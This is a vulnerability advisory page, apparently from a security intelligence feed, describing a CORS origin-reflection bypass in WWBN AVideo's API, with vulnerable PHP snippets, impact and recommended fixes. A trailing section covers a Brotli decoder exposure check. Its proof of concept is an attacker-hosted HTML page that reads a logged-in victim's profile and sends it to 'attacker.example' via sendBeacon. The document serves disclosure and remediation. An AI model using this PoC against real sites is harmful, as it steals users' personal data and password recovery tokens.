New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-41057

ExploitedNVDCIRCLENISA

EUVD-2026-24533 · Published Apr 14, 2026

WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses

Summary

The CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/* endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.

Details

Bypass Vector 1: router.php independent CORS handler

plugin/API/router.php:4-8 runs before any application code:

// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
if (empty($HTTP_ORIGIN)) {
    header('Access-Control-Allow-Origin: *');
} else {
    header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}

This reflects any Origin header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed allowOrigin() function never executes:

// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header("Access-Control-Max-Age: 86400");
    http_response_code(200);
    exit;
}

All /api/* requests are routed through this file via .htaccess rules (lines 131-132).

Bypass Vector 2: allowOrigin($allowAll=true)

Both plugin/API/get.json.php:12 and plugin/API/set.json.php:12 call allowOrigin(true). In objects/functions.php:2773-2790, the $allowAll=true code path reflects any origin with credentials:

// objects/functions.php lines 2773-2777
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    }

This code path was untouched by commit 986e64aad, which only hardened the default ($allowAll=false) path.

Impact on data exposure

Because the victim's session cookies are sent with credentialed cross-origin requests, User::isLogged() returns true and User::getId() returns the victim's user ID. This means:

  • Video listing endpoint (get_api_video): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (functions.php:1752), so authenticated CORS requests receive the full data.
  • User profile endpoint (get_api_user): When $isViewingOwnProfile is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.
Additional issue: Referer header fallback

router.php line 4 falls back to HTTP_REFERER when HTTP_ORIGIN is absent, injecting an attacker-controlled full URL (not just origin) into the Access-Control-Allow-Origin header. This is non-standard and could cause unexpected behavior.

PoC

Step 1: Host the following HTML on an attacker-controlled domain:

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits attacker page while logged into AVideo.

Step 3: The browser sends the request with victim's session cookies. router.php line 8 reflects the attacker's origin. get.json.php calls allowOrigin(true) which re-sets Access-Control-Allow-Origin to the attacker's origin with Access-Control-Allow-Credentials: true.

Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.

For set endpoints (POST with custom headers requiring preflight):

fetch('https://target-avideo.example/api/SomeSetEndpoint', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({/* parameters */})
});

The preflight OPTIONS is handled by router.php lines 14-18, which reflect the origin and exit — the CORS fix in allowOrigin() never runs.

Impact

  • Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
  • Account information disclosure: The user profile endpoint returns the full user record including recoverPass (password recovery token), isAdmin status, and all PII fields when accessed as the authenticated user.
  • Action on behalf of user: Write endpoints (set.json.php) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session.
  • Bypass of intentional fix: This directly circumvents the CORS hardening in commit 986e64aad.

Recommended Fix

1. Remove the independent CORS handler from router.php and let allowOrigin() handle all CORS logic consistently:

// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    require_once __DIR__.'/../../videos/configuration.php';
    allowOrigin(false);  // Use the validated CORS handler
    header("Access-Control-Max-Age: 86400");
    http_response_code(204);
    exit;
}

2. Fix allowOrigin($allowAll=true) to validate origins — or stop using it for API endpoints:

// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false);  // Use validated CORS for API endpoints

Keep allowOrigin(true) only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).

3. As defense-in-depth, set SameSite=Lax on session cookies to prevent browsers from sending them on cross-origin requests by default.

Technologies

Wwbn Avideo

Weaknesses

CWE-346

CVSS scores

  • v3.17.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot